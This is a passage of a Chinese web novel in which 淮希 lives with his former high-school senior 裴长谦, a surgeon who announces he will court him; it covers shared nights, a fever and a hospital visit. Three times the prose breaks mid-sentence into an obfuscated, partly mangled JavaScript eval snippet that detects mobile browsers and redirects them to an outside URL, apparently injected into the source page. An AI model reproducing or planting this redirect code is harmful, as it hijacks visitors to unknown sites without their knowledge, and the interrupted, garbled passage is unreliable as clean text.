“对了,我妈听说你现在一个人在临阳市,人生地不熟的,很不放心,就特别想让你先搬去我家住几天。” 他期待地看着淮希说:“你忘了,你小时候我妈就特别喜欢你。” 淮希听完疑惑地皱起眉,看向裴长谦:“我不是一个人。” 范文皓跟着他的视线去看裴长谦。 他今晚一直在刻意忽视这个男人,这时目光不免显得僵硬。 “我现在有地方住,”淮希陈述事实道,“就在裴长谦家里。” 裴长谦抬眸和范文皓对视,眸色平静。 范文皓的视线率先躲开,莫名感到狼狈。 淮希语气和缓道:“裴长谦是我的高中学长,人很好,很照顾我,你转告阿姨不用担心了。” 范文皓干笑两声:“哦,原来是我们的学长啊。” 他勉强说:“也总不好一直麻烦学长吧?” “淮希能照顾好自己,也有工作,哪里麻烦?”裴长谦抿一口水,微微偏头问范文皓。 结束的时候,裴长谦说他之前科室聚餐时在这里办过会员,他又是三个人里最年长,所以他去结的账。 淮希穿好自己的羽绒服,怀里抱着裴长谦的外套,站在餐厅门外等。 范文皓跟了过去。 他站在淮希身边,语气比刚才吃饭期间平静了许多:“淮希,真的不想去我家?” 淮希“嗯”了一声。 范文皓又说:“去玩几天也好啊,我带你在临阳市好好转转。” 淮希摇头:“我不喜欢出门。” 裴长谦这时走过来,淮希看到,把手里的外套给他递过去。 和范文皓分别后,两人走往停车的地方,裴长谦垂眸随口问道:“刚才在餐厅门外,在聊什么。” 还是在餐桌上反复说的话,淮希已经被范文皓说得感到烦躁了。 他淡淡说:“没什么。” 裴长谦就不再问了。 …… 这天晚上,裴长谦比以往晚了好久,才来到主卧。 淮希将卧室门留一道缝,躺在床上等他,看见熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310228|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的高大身影推开门进来,就坐起来。 “去忙工作了吗?”他仰头问裴长谦。 “没有。” 裴长谦摇摇头,他手上没有拿书,也没有带电脑。 今天也不是看电影的日子。 男人只是站在床尾。 看到淮希换下的衣服随意堆在椅子上,顺手给整理了。 “今晚有没有不开心?”裴长谦声音低缓地问。 “什么?”淮希看他收拾的动作,心里有些不好意思。 他不是故意乱扔,只是多年的习惯,不是那么规矩的人。 裴长谦收拾完,直起身来,看着淮希低声:“他一直提叔叔阿姨的事。” 卧室里大灯已经关掉,只剩边几上的台灯,环境昏黄,映在裴长谦的眼瞳,温柔朦胧。 淮希反应过来。 “没有,”他察觉到裴长谦想聊天,慢慢调整了一个更舒服的坐姿,说,“我比之前好多了,还不至于随便谁提到,就被坏了心情。” 裴长谦点点头,垂了一下眼,又去看淮希抱膝靠坐在床头的身形。 这个姿势使淮希看起来很瘦小。 他又问:“想去他家吗?” 淮希这次皱眉摇头,问裴长谦:“怎么了?” “看你们很熟悉的样子。” 裴长谦手搭在旁边的椅背上,拇指在上面的圆形装饰上来回摩挲:“听他讲述,你们从前经常走动。” 淮希还是摇头,他想了想说:“我记性比较差,他说的很多我都没有印象了。” 淮希对范文皓的印象,仅仅是妈妈曾经的同事的孩子。 他也是因为这个,今晚才会跟范文皓见面吃饭。 但以后应该不会了。 淮希是个比较任性的人。让他不舒服的人,即使对方是出于好意,淮希也不愿意再交往。 裴长谦的脸色似乎好看了些。 男人静了片刻,仍是用和之前一样平稳的语气问淮希:“我以后晚上可以睡在这里吗?” 话题跳转得突兀,淮希惊讶了一下,但回答得很快:“当然可以。” 他并不介意,只是对裴长谦突然这么提感到疑惑。 “我去次卧?”淮希一边问,就掀开被子准备下床。 “不是。”裴长谦上前按住了淮希掀开的被角,因为他俯身的动作,两人的距离变得很近。 “我们都睡在这里。”裴长谦解释。 他眸色闪烁,眼里的情绪像不平静的海面,淮希现在才看清了。 淮希的回答还是可以。 他还注意到裴长谦今天穿的睡衣很薄,于是往旁边腾开位置:“你先上来吧,有点冷吧?” 裴长谦从刚才踏进主卧开始,就暂时失去了一些感官。 他不感到冷,但还是顺从地在床边坐下,脱掉拖鞋上了床。 淮希胳膊伸过去,扯着被子盖在他的腿上。 “怎么突然想一起睡?”淮希好奇地问。 “我想和你更好地培养感情,让你更加习惯和我一起生活。”裴长谦微微仰身,说。 淮希给他盖好后坐直身体,两人坐在一张床上对视。 “然后?” 裴长谦原本不打算说的,他的计划就是说到上面那一句。 但是淮希继续问了,他就顺带说了出来:“然后追求你。” 淮希的神情顿时愣住了。 17. 十七 他们看着彼此,神情都比较平静,只是裴长谦的气息声更重。 淮希先移开了视线,看向房里唯一的光源:“台灯没关。” “我去关。” 裴长谦回答,然后掀被下了床,漆黑高大的身影背对着淮希。 卧室里陷入黑暗时,淮希已经重新躺了回去。 他给裴长谦留出一半位置,背对着那边。 被子掀开的幅度很小,几乎察觉不到,床垫的凹陷比较明显。 裴长谦重新躺下来后,短暂地调整了一下姿势,之后周遭彻底安静下来。 淮希一只手给自己掖紧被子,挡住了小半张脸,轻轻睁开眼。 裴长谦喜欢他,淮希感到意外,又不意外。 他第一次来到临阳市,裴长谦收留他,几个月来对他无微不至,予取予求,非要对他的身心健康负责。 淮希那段时间一直都很奇怪,执着地想搞清楚裴长谦这么做的原因。 现在,他逐渐没那么想知道了,裴长谦却告诉了他。 淮希无声无息地眨几下眼睛,眼睫扫在枕面上,带来细微的痒意。 如果裴长谦刚才跟他说的是想和他在一起,或者想和他上床,淮希觉得自己都会点头答应,最多会犹豫几秒钟。 因为裴长谦是个很好的人,不是坏人。 还因为裴长谦陪他走出了最孤独灰暗的时光,他住的是裴长谦的房子,吃的是裴长谦做的饭,花的也是裴长谦的钱。 但是裴长谦说要追求他。 淮希就不知道该怎么回应了。 淮希本来应该失眠,但他早就习惯了裴长谦的气息、体温和味道。 这些存在对他的安抚性很强。 淮希在胡思乱想中,像往常一样缓慢入睡。 裴长谦说的话还是给他带来了一些影响。 第二天清早,淮希破天荒没有睡懒觉,几乎和裴长谦同时醒来。 裴长谦常年工作已经养成生物钟,不需要闹钟也能按时起床。 这时还不到七点钟,外面天色还没亮。 淮希睁开眼睛看着裴长谦起身,下床,去次卧换衣服。他的眼珠里没有刚睡醒的惺忪,反而清醒明亮。 裴长谦很快就回来了,睡衣被换成褐色羊绒打底衫和黑色长裤,一丝不苟,内敛沉稳。 他来到床边,问淮希现在要不要起床。 淮希想了想,点头说“要”。 裴长谦就走进衣帽间,去给他拿衣服。 淮希平躺在床上继续发呆,他习惯性地把被子拽到下颌处,只露出个脑袋。 拽得有些用力,蓬软的被子蹭上鼻尖。 淮希嗅到了和以往不一样味道,除了洗衣液的清香外,还有裴长谦身上的松木香,暖暖的。 裴长谦选好一套衣服,手上握着衣架走出来,问淮希的意见:“穿这个可以吗?” 淮希把脸从被子里仰起来,看一眼,说可以。 裴长谦把衣架取下,递衣服过去时,以为淮希不会接,但淮希伸手接了。 这导致距离判断失误,两人的手重叠在一起,淮希的手指碰上裴长谦微凉的手背。 裴长谦很快向一边避开,把衣服稳稳放在淮希床头。 淮希的手臂伸在半空,空荡荡的,心中感到一丝怪异。 他坐起身换衣服,手指碰上睡衣衣领的第一枚纽扣,还没有解开,裴长谦就已经迈步走出了主卧,并贴心为他关好房门。 …… 淮希今天下午开始上班。 上班的工作室离家不远,也恰好和裴长谦去医院一个方向。 裴长谦中午有空回家吃饭的话,两人吃过饭一起出发去上班,刚好。 如果裴长谦没时间回家,淮希就打车过去。 淮希其实有点想骑共享单车,可以顺带锻炼一下身体。 但裴长谦认为天气还太冷,路上也不够安全,劝淮希暂时放下了这个想法。 淮希下班的时间通常比裴长谦早,没有特殊情况,他都是自己回去。 但如果遇上大风雨雪这些极端天气,裴长谦就一定要去接。 距离裴长谦说要追求淮希那天晚上,已经过去将近一周。 裴长谦的表现和以往没有什么不同,他似乎对这件事并不着急。 实际上,裴长谦在之前就已经对淮希面面俱到,这导致淮希压根分辨不清,裴长谦是否已经开始追求他了。 淮希甚至偶尔会怀疑那晚是他自己幻听。 但他收到过两束花。 不是包装精美的花束,是在花瓶里插好的鲜花。 裴长谦下班带着花束回来后,会待在阳台按照网上的教程仔细修剪,花费上不少时间尽量插得漂亮,之后再拿出去给淮希。 他将花摆在茶几,或者木架上,让淮希看。 “我修剪的还可以?” 淮希眼眸微亮地点头:“好漂亮。” 淮希只管欣赏,养护这束花是裴长谦的事。 花瓣萎缩褪色之前,裴长谦已经换了新的一束。 这天晚上吃过晚饭后,时间还早。 不着急睡觉,两人都在做各自的事。 淮希需要教学,不能再像之前自己练琴那样随心所欲,需要根据不同的学生及时调整教学方式,学一些新的东西。 他在琴房里看了将近一个小时琴谱,感到眼睛有些疲惫,就不想看了,去健身房找裴长谦。 淮希在家里已经很少敲门,他慢悠悠走过去,一边喊着裴长谦的名字,一边推开健身房的门。 裴长谦正在做卧推,上身没有穿衣服,听到淮希的声音后,很快放回杠铃站起身。 男人背对着门的方向,动作迅速套上挂在旁边的运动外套,拉拉链的动作透出几分忙乱。 淮希立在门边,只瞥到了挂着汗珠的胸肌一眼。 裴长谦的反应让他忍不住歪起脑袋。 淮希在感情上的经历是完全空白。 裴长谦说要追求他,淮希一开始的感受只有茫然无措,之后慢慢冒出第一次接触某领域的新奇。 但裴长谦十分保守的追求手段没有满足他的好奇心。 淮希看出来,裴长谦在向他表白之后,反而开始谨慎地保持距离。 睡前,裴长谦洗完澡来到主卧 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大学期间,一个白净害羞的男生追求裴长谦,方式是每周实验课前,往裴长谦的储物柜里放许多零食礼物。 裴长谦每次看到,都会原封不动将东西放回教室正前方的长桌上,让东西的主人来认领。 这样重复了将近两个月后,裴长谦有一次碰巧亲眼目睹了男生往他柜子里放东西的过程。 他情绪沉静稳定,很少动怒,当时是真的有些生气。 “同学,这是我的储物柜,你能不能别再往里面放你的东西。” 裴长谦面色严肃地让男生把零食拿走,走过去往柜子里一眼,眉头很快皱起。 他打开柜门指给男生看:“你每次放错储物柜,都会挤乱我的东西。” 裴长谦那时就已经有比较严重的强迫症,柜子里摆放好的个人物品被他人一次次弄乱,让他不堪其扰。 男生红着眼眶,抱着零食离开了,之后见到裴长谦都绕道走。 还有一次,是在大四期间。 一个男生暗恋了裴长谦很久,了解裴长谦冷硬又疏远的个性,只好以学习的名义来追求裴长谦。 这个方式很管用。 他找裴长谦聊生活上的事,裴长谦极少回复,但他向裴长谦咨询学习考研的事,裴长谦会愿意帮他。 这样联系了将近一年,两人的聊天记录被考研信息和资料填满。 考研成绩陆续出来时,裴长谦正在医院实习,收到了男生发来的感谢信。 [虽然你一直不愿意回应我的追求,但是在你的帮助下我居然考上研了,还是我一年前想都不敢想的学校和专业。很感谢你,接下来我会好好专注学业,不辜负这次机会,我们一起在各自的路上加油吧!] 裴长谦当时看得云里雾里,最终顺着最后一句,回复了一个加油。 这两次他都是在事后经过别人提醒,才知道自己曾被追求了。 淮希听完后,停下刷牙的动作,时隔数年替裴长谦感到尴尬。 他神情木然地沉默几秒,回身进浴室漱口,口齿不清地咕哝了一句:“怪不得呢。” 18. 十八 第二天是周六,裴长谦轮到这天下午休息,倒是淮希需要上一整天的班。 吃过午饭,简单午休过后,裴长谦开车送淮希过去。 路过一道比较热闹的街道,淮希觉得口渴,想喝奶茶。 他的兴致总是来得突然,平时对大部分零食饮料都兴趣不大,但偶尔某个时间会特别想尝一尝。 奶茶买的中杯,温热全糖,加了珍珠小料。 车在工作室楼下停好时,淮希还没喝完。 裴长谦解掉自己的安全带,又去帮淮希解开。 淮希抬起手臂配合了一下,喝奶茶比较专心,他路上是在一边发呆一边小口品尝,现在正在大口大口地喝。 “好了,”裴长谦看他喝得勉强,说,“喝不完给我吧。” 奶茶不健康,淮希身体素质弱,裴长谦不赞同他喝。 他们买奶茶前已经商量好,买中杯解一解馋就好了,而且淮希下车去上班就不带了,如果没有喝完就交给裴长谦。 为此还嘱咐店员放了两根吸管。 淮希手指握着奶茶杯,没有递过去的意思。 他在嚼珍珠,嚼完咽下去才开口:“你喜欢喝奶茶吗?” “不喜欢。”裴长谦一手搭在方向盘上,侧身看向他,实话说。 “我挺喜欢的。” 淮希含着吸管,裴长谦能看到奶茶和珍珠把透明吸管填满,淮希又喝了很大一口。 “你不喜欢喝,还是不要勉强了。” 淮希缓声说着,有些艰难地去衣服口袋里拿手机。 他的手机放在右侧口袋,用右手去拿会方便很多,但右手握着奶茶杯。 淮希只好用左手往很深的口袋里探,始终没想过把奶茶换到左手。 这是他下意识的行为,因为左手靠近裴长谦那边,可能是怕裴长谦抢他的奶茶吧。 尽管裴长谦没有这个打算。 淮希还是拿出了手机,按亮屏幕和裴长谦一起看了看时间说:“离上班还有十五分钟,来得及的,我喝完再下车。” 裴长谦眉梢动了动,没再说话。 他探身去拿淮希放在后座的休闲包,检查有没有漏带东西。 包里的东西挺多,有纸巾、暖手宝、护手霜、保温杯等。 裴长谦确认保温杯里装满了热水,温声:“奶茶也有提神的作用,下午在工作室不要喝咖啡了,晚上容易失眠。” 淮希垂着眼,点头。 他本来也不喜欢喝很苦的东西。 他还在吸奶茶。 奶茶到底部因为残留的小料多,变得浓稠,淮希吸得有些用力。 淮希的皮肤薄,他住进家里没多久,裴长谦就观察到过,淮希应该是因为免疫力低下,有轻微的划痕性荨麻疹。 身上的肌肤被什么东西划到,或者只是挠一下痒,就容易浮现浅红痕迹,过二十分钟左右才能消失。 好在多注意的话,不影响正常生活。 不过,淮希的嘴唇也很容易变红,裴长谦还是第一次注意到。 吸管被他含在嘴里,因为用力吸吮的动作,淮希的嘴唇轻易变得胭红水润。 被质地较硬的吸管边缘反复刺激后,原本又薄又淡的双唇变得很柔软。 裴长谦的视线移向车的正前方,盯着路边一株被寒风吹得来回摇摆的杂草看。 男人搭在方向盘上的指节不规律地敲动几下。 淮希抬眼注意到,以为裴长谦等得着急,只好放弃最后的几颗珍珠。 “我喝完了。”他说着,一手提好垃圾,一手拿着自己的休闲包,开车门下车。 裴长谦也跟着下了车。 与车内的温暖相比,外面气温骤降,冷空气钻入鼻腔肺部,顿时令人清醒不少。 裴长谦关上车门后,深吸口气,追上走到垃圾桶边扔垃圾的淮希。 两人一起上楼,到达楼层后,淮希出电梯跟裴长谦说拜拜,裴长谦直接下楼离开。 裴长谦今天下午难得空闲。 唯一需要忙的事,就是趁着有空,好好研究一下晚上给淮希做什么好吃的。 他回到家时才三点钟左右,离准备晚饭的时间还远着。 家里比他一个人住时乱了许多。 客厅沙发上堆着歪歪扭扭的抱枕和毛毯,那条毛毯淮希很喜欢,因为洗得次数多,变得很柔软。 茶几上也乱糟糟的,有同款的两只杯子,淮希随时想背的钢琴谱,淮希的耳机和拆开只尝一口就不想吃的饼干也在上面。 裴长谦很少会喜欢这样杂乱的画面。 他慢慢地一件件整理着,过程中吃完了淮希剩下的那包饼干。 之后裴长谦换上运动服去了健身房,不过这次,他只待了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310230|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四十分钟就出来了。 心中的某些想法,或是画面的存在感越来越强烈,裴长谦努力让自己专注于运动本身,但很难做到。 他擦去身上的汗,去次卧的浴室里冲澡。 花洒打开,热水喷洒出来,纷乱的水声顿时充斥逼仄的空间。 潮热的水蒸汽堆叠着,导致浴室内温度不断升高,或许是因为呼吸困难,气息声逐渐变得很重。 裴长谦冲了很长时间澡。 到后面,他不得不将水温越调越低。 从浴室出来后,裴长谦眉眼间的躁郁已经散去。 他发间滴着水,从衣柜里拿出一身家居服穿上,之后去把换下的运动衣放进洗衣机。 回到次卧时,热气已经顺着浴室门涌入房间,带着别样的气味。 裴长谦挺拔的背影僵硬了一下。 他打开房间的通风系统,又因为有些坐立难安,干脆去将原本就很干净整洁的浴室重新清理了一遍。 今天天气尤其冷,晚上吃过饭没多久,两人就早早上床进了被窝。 淮希上了一整天班,连玩手机的精力都没有了,只想放空脑袋。 裴长谦靠坐在床头,读书给他听。 枯燥的医学知识对淮希来说很无聊,裴长谦这次读的是散文,淮希听了不会立刻睡着。 男人低沉的嗓音让人心情舒缓,淮希听得有些入神,原本蜷缩的腿不小心滑下去,脚尖在被子里碰到了裴长谦。 躺着的动作使宽松的裤腿向上卷曲,裴长谦的脚踝处没有布料遮挡,肌肤相触的感觉变得明显。 淮希不觉得这有什么,睡在一张床上有一定肢体接触很正常。 但裴长谦反应很快地避开了他。 淮希怀疑自己身上带静电,裴长谦被电到了都不至于有这么大反应。 他不满地皱眉,扭头去看对方。 裴长谦感受到他的视线,看过来,问:“怎么了?” 淮希静静地看他片刻,然后翻身躺进了被窝,背对着裴长谦。 “没怎么,”淮希的声音透过被子传来,闷闷的,“我困了。” “好,那早点睡觉,你今天上班很累了。” 裴长谦说着合上书放到一边,关掉台灯后,也躺了下来。 淮希:“……” 裴长谦其实根本就不喜欢他吧! 19. 十九 距离春节越来越近,各行各业都在陆续放假。 脊柱外科迎来忙碌高峰期,裴长谦的工作量一天比一天重,手术日时间紧得让人没有歇口气的机会。 连续一周从早到晚高强度工作后,裴长谦的身体有些吃不消。 夜里,淮希感受到身下的床垫有轻微动静,迷迷糊糊睁开眼睛。 他看到裴长谦坐在床边,正在低头穿拖鞋。 房里很黑,淮希随意抬手过去,恰好探入宽松的睡衣下摆,摸到男人紧实的腰。 那处肌肉紧绷了一下,又缓慢放松。 掌心被偏高的体温烫到,淮希清醒了不少。 裴长谦转过身来,一手撑在床沿:“吵醒你了?” “怎么了?”淮希收回手,也跟着撑起身体,“你身上好热。” “嗯,”裴长谦的面色在黑暗里看不清楚,“应该有点发烧,我起来吃点药。” 淮希眼睛还不能完全睁开,皱起眉坐直身体:“我摸摸看。” 裴长谦就把身体再转过来一点,两只手掌撑在床面,俯身把脑袋送到淮希跟前。 淮希手掌覆上他的额头,细细感受:“一定是发烧了。” 他神情严肃不少,又往自己额头上摸了摸做对比:“比我的烫好多。” 裴长谦站起身,去客厅的医药箱里拿药。 淮希摸出手机看了眼,现在是夜里三点钟,他打开了卧室里的大灯,坐在床上等裴长谦。 裴长谦吃完药回来,带了两杯水,问淮希:“要喝水吗?” 淮希摇头,这时才借着灯光,看到裴长谦的脸色很白,眼底全是很难散去的疲惫。 “量体温了吗,多少度?”他问。 “38度。” 裴长谦把水杯放在床头,重新上了床,看淮希一直很担忧地盯着他,不由抬手在淮希脸上摸了摸。 “吃完药再睡一觉就退烧了,”他低声说,“为了防止传染你,我一会儿背对着你睡。” “好吧。”淮希垂下眼,蹭一下他烫人的掌心,慢吞吞躺回被窝。 …… 裴长谦的生物钟很强大。 清晨,他依旧在闹钟响之前醒来,按时起床。 裴长谦对自己的身体很了解,这一觉因为药物作用,睡得很踏实,醒来烧果然退了。 他昨晚的体温其实将近39℃,没有给淮希报小数点后面的数字。 不过早上量的时候,淮希就在旁边,看到数字显示只比37℃多一点,淮希放心不少。 但裴长谦的脸色仍旧很差,人不像往常那样时刻充满精力,嗓音也有些哑。 两人一起在厨房里准备早饭。 没有让病人辛苦做家务的道理,尽管裴长谦强调他现在已经好了,但淮希很想替他分担。 淮希煎了一个失败的鸡蛋,翻面时不小心戳碎了蛋黄。 裴长谦煎的蛋很完美,形状漂亮,还有恰到好处的溏心。 他们两个交换吃。 吃饭的时候,裴长谦就着牛奶又吃了一顿退烧药。 “还要去上班吗,能不能请假?” 早饭结束,两人又一起收拾了碗筷,淮希一边擦干牛奶杯上的水珠,一边问裴长谦。 “不用请,我今天上午是门诊。”裴长谦说。 他以前比这样生病还严重的时候,也能上班,不做手术就可以了。 而且现在科室非常忙,调班都难,不好请假。 淮希最终决定送裴长谦去上班,由他来开车。 他这些天看琴谱很多,眼睛很容易不舒服,恰好去医院检查看看。 淮希不怎么喜欢开车,他的驾照是大学有一年暑假,心血来潮和同学一起考的,过程非常顺利。 但拿到证后,淮希却很少愿意开车上路,多数情况还是选择打车,或者让爸爸派人接送。 后来家里没了公司,手头缺钱的时候,淮希最先卖的就是车。 和房子、钢琴相比,车在淮希这里的必要性最低了。 淮希很长时间不碰车,有些手生,但怎么也比裴长谦这个病人强。 他们出门较早,时间宽裕,淮希没有开得很快,以平稳为主。 裴长谦戴着口罩坐在副驾驶,闭上眼睛养精蓄锐。 到达医院,裴长谦指路,淮希把车稳稳停在医院停车场。 下了车,裴长谦把保温杯和药装进工作包,淮希提醒他:“不要忙得忘记吃药。” 裴长谦“嗯”一声。 两人准备出停车场的时候,遇到了裴长谦的同事,对方看起来和裴长谦年纪差不多大,也是刚停好车下来。 “裴大夫,怎么了这是?”同事看裴长谦戴着口罩,又听到淮希那句话,打招呼问道。 “没什么事,”裴长谦停下脚步,声音平稳地应,“有点感冒。” “累的吧?最近确实太忙了,我们科好几个同事都在硬撑,多注意身体啊。” 他说完,不由看向淮希。 淮希很白,站在裴长谦身边,很吸引人的视线。 同事好奇道:“这位是裴大夫的弟弟?之前没见过。” 裴长谦不懂为什么总有人把淮希认成他的弟弟。 难道是因为他们有一定年龄差,他看起来比淮希老? “不是,是我的朋友,”裴长谦往淮希身边靠近了些,两人的手臂隔着衣料贴在一起。 他介绍道:“姓淮,不放心我生病开车,特意送我过来。” “淮先生啊,”同事笑道,“你好你好。” “你好。”淮希眉眼也带着礼貌的笑意,跟对方轻握了一下手。 …… 与同事分别后,距离裴长谦的上班时间只剩五分钟。 他去脊柱外科报到,淮希则去门诊楼挂了眼科的号。 医院里的确来来往往都是人,眼科也比平常热闹些。 好在淮希看的只是小毛病,从排队到拿完药出来,用了不到一个小时。 他从门诊楼出来时,恰好看到裴长谦朝这边走过来。 男人穿着白大褂,身形修长,长腿迈的步伐又快又稳,身后跟着两个小跑追赶的年轻学生。 裴长谦也一眼就看到了淮希,之后回身跟学生低声说了句什么五分钟,让学生先上楼了。 淮希注意到裴长谦身上的白大衣很薄,就退回到门诊楼的大门里,站在里面等他。 楼里大厅有暖气,比外面暖和多了。 裴长谦走到淮希跟前,俯身仔细看了眼淮希的眼睛,问:“怎么样?” “没什么问题,就是有点视疲劳,眼干,医生开了人工泪液。” 淮希手上拿着药和被他叠成方块的检查单,简短地概括说。 说话间,他注意到裴长谦眉眼间的倦怠散去很多,眼眸里也有了光亮。 淮希还是第一次见生病后忙了一圈工作,反而能恢复精神的。 他怀疑裴长谦就是网上说的先天打工圣体。 “那就好。” 裴长谦应着,还不够放心,他从淮希手里拿走检查单展开,认真地垂眼看。 他专注时,脸上没什么表情,显得很严肃。 又因为戴着口罩,只露出一双很深的眼睛,就让人觉得更有距离感。 不算之前看到的照片,这是淮希第一次亲眼看见医生身份的裴长谦。 他看着眼前这个将白大衣穿得一丝不苟,沉稳冷硬的男人,忽然觉得对方和早上抢着要吃他做的很丑的煎蛋的人,仿佛是两个人。 “我刚查完房,”裴长谦看完,将检查单重新叠好,给淮希放进口袋,报备道,“接下来准备去坐门诊了。” 裴长谦的手臂靠近时,淮希心里猛然慌了一下,像是害怕自己加速的心跳被发现。 然而实际上,砰然心跳震动着胸腔,只有他自己能感知到。 “嗯。”淮希的神情显得心不在焉,他点点头,“我回家。” “路上注意安全,到家给我个消息。”裴长谦眉间微微皱着。 他对让淮希独自开车回家这件事感到歉疚。 “知道了,你注意身体,撑不住就休息。” 淮希看着他,抬起手准备说拜拜的时候,忽然顿了顿:“那我走了,哥。” “……” 裴长谦显然懵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310231|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。 淮希出了门诊楼,很快走入人群中。 裴长谦原本已经走到电梯门前,又忽然折返脚步,到大门处往外寻找淮希的背影。 早就看不到了。 他只好让自己迅速调整状态,投入到工作当中。 …… 原本的计划是,淮希结束自己的工作后,开车去医院接裴长谦。 但裴长谦科室来了领导,临时通知他需要去陪领导吃饭,裴长谦晚上直接坐同事的车过去。 两人通着电话,淮希一边验证指纹开家门,一边问:“那应酬结束我去接你?” “不用,”裴长谦很快拒绝,“还不知道什么时候结束。” 他嗓子还带着哑,温声嘱咐淮希:“夜里外面很冷,不要出门了,你早点休息,同事会送我。” 挂掉电话后,淮希换鞋,脱掉外套,打开房里的灯。 他站在玄关处发了会儿愣,门铃就响了。 裴长谦得知自己晚上回不来后,就提前给淮希点了餐。 是淮希最吃得惯的那家。 之后又来一个外卖员,送来一盒小蛋糕。 反正没什么事情可做,淮希很磨蹭地吃饭。 晚饭结束后,他切下一小块小蛋糕尝了尝,把剩下的放进冰箱,一个小时就这么过去了。 洗完澡躺在床上时,淮希一点睡意都没有。 他没敢关客厅的大灯,卧室门也大开着,但还是觉得整个房子空荡荡,静得吓人。 淮希干脆打开投影,播一部电影看。 看了将近二十分钟,他想到裴长谦,拿起手机给对方发消息:[裴长谦,你还在生病,记得不要喝酒] 消息刚发过去,聊天框上面就显示正在输入中。 裴长谦:[嗯,别担心。] 淮希没再回复,放下手机专心看电影。 裴长谦结束饭局回到家时,客厅一片明亮,之后又注意到主卧的门没关。 他脚步有些迟疑地走过去,在门上敲了敲。 淮希靠在床上,背后垫着裴长谦常用的枕头看电影,白净的脸庞被投影光亮衬得透明一般。 “怎么还没睡。”裴长谦声音更哑了一点。 “回来了,”淮希坐起来,随意道,“我看电影呢。” 裴长谦看他打算下床走过来,及时开口:“我先去洗澡。” 淮希就又躺回床上。 裴长谦用了两遍沐浴露。 从次卧的浴室出来,他拎着衣领低头嗅了嗅,还能嗅到身上残留的酒气。 一是因为当时整个包厢里的酒味都很重,二是因为,他没有听淮希的话,还是喝了两杯白酒。 踌躇片刻,裴长谦重新来到主卧门外。 他坦白道:“抱歉,我今晚喝了点酒。” 裴长谦站在那里,认错的态度审慎而诚恳。 “身上酒味暂时洗不掉,刚好感冒还没完全好,我今晚睡次卧吧。” 他担心睡在一张床上,淮希嫌他身上味道难闻。 在他洗澡期间,淮希关掉了投影,这时正在把他的枕头放回原位。 听到裴长谦的话,淮希收回手坐好,反应寡淡地说:“嗯,都行的。” 裴长谦稍显迟缓地点点头:“记得用眼药水。” 他提醒完淮希,确定淮希没有别的需要,就道声晚安,并帮淮希关上了主卧门。 没一会儿,客厅的灯光也变暗。 次卧的床很多天没用了,床品一直没有换。 裴长谦洁癖犯了,放在以往,哪怕这时已经十点钟,他也会立刻换掉。 但他今天实在是有点累。 不是因为生病,是因为应付一顿饭局比做一场手术要更加消耗精力。 裴长谦站在床边,努力说服自己将就这一晚,手机忽然响了。 来电显示是人在隔壁的淮希。 裴长谦心中觉异,很快点了接通。 淮希的声音像猫爪在挠他的掌心:“回来睡,我一个人睡不着。” 电话那边的人埋怨道:“是你让我习惯睡觉的时候有你在旁边的,你要负责到底啊。” 20. 二十 裴长谦来到主卧的时候,房里很黑,淮希背对着他蜷躺在床的一侧,给他留出一半位置。 裴长谦掀被躺进去,一时没有出声。 淮希动了动,随着软被的轻轻摩擦声,他翻过身来面朝裴长谦。 裴长谦也跟着由平躺改为侧躺。 但他没有料到淮希会离他这么近,翻过身时,裴长谦的腿不慎碰到淮希蜷起的膝盖,他很快把腿伸直了。 黑暗里,裴长谦看到淮希半睁着眼,眼睫低垂。 “能闻到酒味吗?”他低声问。 这样的距离,他们能感受到彼此的体温,嗅到彼此身上的味道。 “能。”淮希吸了吸鼻子,点头说。 裴长谦神色变了变,身体往后挪去。 淮希用手指勾住了他的衣领,阻止他的动作后,又自然地松开:“我又没说觉得不好闻。” 裴长谦没再动。 他的睡衣衣领本身比较宽松,被淮希的动作牵得更敞开。 裴长谦很想稍微整理一下,但觉得会打扰现在的氛围,所以忍住了。 “你晚上量体温了吗,还用不用吃药?”淮希睡前的声音在轻缓中带一些哑,显得很温柔。 “离开医院前量了,不到三十七度,已经好了,”裴长谦说话时突起的喉结跟着在动,“明天看情况,如果不反复就不用吃药。” 淮希目光很淡地继续观察裴长谦的喉结,沉默片刻,又问: “我提醒你不要喝酒,你为什么还喝?” 裴长谦顿了顿,说:“因为高兴。” 淮希抬起眼,疑惑地跟他对视:“高兴什么?” 生病有什么可高兴的? 还是说应酬高兴? 裴长谦喉结滚动一下,看着他:“你再叫我一声哥,就知道了。” 某个瞬间,淮希在对方深邃的眼睛里看到了侵略性。 他眼眸闪烁几下,动作有些急地翻过身去。 淮希感受着耳根脸庞的热意,背对着裴长谦闷声:“我睡了。” …… 第二天早上,淮希醒来的时候,裴长谦已经把早饭做得差不多了。 